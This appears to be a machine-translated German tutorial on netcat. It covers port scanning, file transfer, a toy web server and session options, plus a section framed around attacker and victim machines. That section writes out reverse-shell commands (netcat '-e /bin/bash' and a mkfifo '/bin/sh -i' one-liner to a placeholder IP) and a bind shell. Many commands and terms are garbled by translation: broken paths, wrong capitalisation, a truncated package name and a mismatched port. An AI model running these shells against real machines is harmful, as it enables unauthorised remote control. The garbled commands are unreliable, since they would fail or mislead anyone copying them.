Für NetCAT stehen zwei ähnliche Pakete mit einem geringen Unterschied zwischen ihnen zur Verfügung.
netcat-traditionell Enthält eine zusätzliche Option "-e", die zum Binden eines Programms verwendet werden kann (i.E bash) mit netcat. Diese Funktion ist sehr nützlich für Remote -Administrationszwecke.
netcat-openbsd haben zusätzliche Unterstützung für IPv6 und Proxies.
NETCAT -Installation
NetCat wird zwar in den meisten Linux-Verteilungen vorinstalliert, aber wenn dies nicht der Fall ist, kann es einfach mit den folgenden Befehlen installiert werden.
Für traditionelles Paket,
Ubuntu@ubuntu: ~ $ sudo apt-Get Install netcat-traditional
Für OpenBSD -Version,
Ubuntu@ubuntu: ~ $ sudo apt-Get install netcat-openbs
NetCat für Windows kann von hier heruntergeladen werden https: // SourceForge.net/projects/nc110/Dateien/.
Jetzt werden wir einige interessante Anwendungsfälle von NetCat untersuchen
Port -Scan mit NetCAT
Um nach geöffneten Ports zu scannen, verwenden Sie die Option '-z'. NetCat versucht, eine Verbindung zu jedem Port herzustellen, ohne Daten oder sehr begrenzte Daten in UDP -Fall zu senden. Geben Sie Folgendes ein
Ubuntu@Ubuntu: ~ $ nc -z -v hackme.Org 80
… Schnipsel…
Hacke mich.org [217.78.1.155] 80 (http) offen
Um nach einer Reihe von Ports zu scannen, geben Sie an
Ubuntu@Ubuntu: ~ $ nc -z -nv 192.168.100.72 20-80
(Unbekannt) [192.168.100.72] 80 (http) offen
(Unbekannt) [192.168.100.72] 22 (SSH) offen
Dateiübertragung mit netcat
Ein weiterer nützlicher Anwendungsfall von NetCAT ist die Dateiübertragung zwischen Remotecomputern. Sie können Texte und Binärdateien von einem PC an einen anderen PC senden. Wir werden versuchen, eine Datei "Datei" zu senden.PDF ”von Linux PC zu Windows PC [IP 192.168.100.72] Verwenden Sie NetCat als Beispiel.
Geben Sie unter Windows -Computer (Empfänger) Folgendes ein
C: \ Benutzer> NC -NVLP 1337> Datei.PDF
Hören [0.0.0.0] (Familie 2, Port 1337)
Geben Sie auf Linux -Maschine (Absender) Folgendes ein
Ubuntu@Ubuntu: ~ $ nc -nv 192.168.100.72 1337 < file.pdf
Verbindung zu 192.168.100.72 1337 Port [TCP/*] gelang es!
Fernverwaltung mit netcat
Einer der besten Anwendungsfälle von NETCAT ist die Remote -Administration. Dies bedeutet, dass Sie den PC einer anderen Person mit NetCAT steuern können. Netcat-traditional wird mit der Option "-e" ausgestattet, mit der ein Programm binden kann (i.E CMD.exe in Windows oder Bash in Linux) mit einem Port, dh netcat fungiert als Kommunikator zwischen dem Programm und dem Remote -PC. NETCAT empfängt Befehle vom Remote -PC, führen Sie auf lokalem System aus und senden die Ergebnisse an den Remote -PC zurück. Diese Funktion wird häufig für böswillige Zwecke verwendet, um Hintertiere in PCs und Servern zu halten. Diese Funktion ist nur in netcat-traditionellem verfügbar. Sie können zwei Möglichkeiten nutzen, um den PC anderer zu steuern.
In einem Reverse Shell Verbindung, ein Angreifer hört auf einen Port und wartet darauf, dass eine Verbindung von der Opfermaschine gesendet wird. Es wird verwendet, wenn Opfercomputer hinter NAT steckt oder keine öffentliche IP hat.
Um eine Reverse Shell mit NetCat zu erhalten, müssen Sie mit NetCAT auf einen Port anhören. Geben Sie Folgendes auf die Angreifermaschine ein,
Ubuntu@Ubuntu: ~ $ nc -nvlp 1337
Hören [0.0.0.0] (Familie 2, Port 1337)
Auf Opfermaschine (wenn netcat-traditionell ist installiert)
// Ersetzen Sie "/bin/bash" durch "CMD".exe ”bei Windows
Ubuntu@Ubuntu: ~ $ nc -nv [ip_addr] 1337 -e /bin /bash
Für netcat-openbsd (Wobei die Option „-e“ nicht unterstützt wird)
Ubuntu@Ubuntu: ~ $ rm /tmp /f; mkfifo /tmp /f; cat
/tmp/f |/bin/sh -i 2> & 1 | nc [ip_addr] 1337>/tmp/f
Während in a Binden Sie Shell Verbindung bindet Angreifer einen Port auf die Opfermaschine und stellt eine Verbindung zu diesem Port über den Client -Socket her. Es wird verwendet, wenn die Angreifer -Maschine hinter NAT liegt oder keine öffentliche IP hat.
Auf Opfermaschine, Typ
Ubuntu@Ubuntu: ~ $ nc -nlvp 1337 -e /bin /bash
Hören Sie [Any] 1337…
Um Befehle auf der Opfermaschine auszuführen, geben Sie nun an
Ubuntu@Ubuntu: ~ $ nc -nv 127.0.0.1 1337
Verbindung zu 127.0.0.1 1337 Port [TCP/*] war erfolgreich!
$ id
UID = 1000 (Azad) GID = 1000 (Azad) Gruppen = 1000 (Azad), 4 (ADM), 24 (Cdrom), 27 (sudo),
30 (DIP), 46 (PlugDev), 118 (Lpadmin), 129 (Sambashare)
Einfacher Webserver mit NetCAT
Sie können auch einen weiteren einfachen Trick machen, um NetCat als minimaler einseitiger Webserver zu verwenden. Dieser Webserver wäre ohne spezielle Konfigurationen sehr einfach, und wir werden unseren HTML -Code an den Browser senden.
Ubuntu@Ubuntu: ~ $ während wahr; do echo -e "http/1.1 200 ok \ n \ n $ (Echo "")" | NC -NVLP 1337; Erledigt
Mein einfacher Webserver mit NetCat
Hören [0.0.0.0] (Familie 2, Port 1337)
Versuchen Sie nun, die Webseite mit Curl zu holen
Ubuntu@Ubuntu: ~ $ curl http: // 127.0.0.1: 1337/Mein einfacher Webserver mit NetCat
Geben Sie die Zeitüberschreitung für eine NETCAT -Sitzung an
Sie können eine Zeitlimit für eine NETCAT-Sitzung mit der Option "-W" angeben. NetCat wird seine Sitzung automatisch nach der festgelegten Zeit trennen.
// -W [Zeit in Sekunden]
Ubuntu@Ubuntu: ~ $ NC -W 40 -nvlp 1337
Hören [0.0.0.0] (Familie 2, Port 1234)
Hören Sie weiter zu, auch wenn der Client die Verbindung schließt
Im normalen Modus schaltet NetCat Server ab, wenn ein Client die Verbindung schließt. Sie können den Server mit der Option "-K" aufrechterhalten
Ubuntu@Ubuntu: ~ $ nc -k -nlvp 1234
Hören [0.0.0.0] (Familie 2, Port 1234)
NetCat ist ein einfaches und dennoch effizientes Dienstprogramm, das für viele einfache tägliche Aufgaben verwendet werden kann. Es wird in fast allen Unix-ähnlichen Betriebssystemen vorinstalliert und kann für verschiedene Aufgaben wie die Kommunikation zwischen zwei PCs, Dateiübertragung und vielen anderen verwendet werden.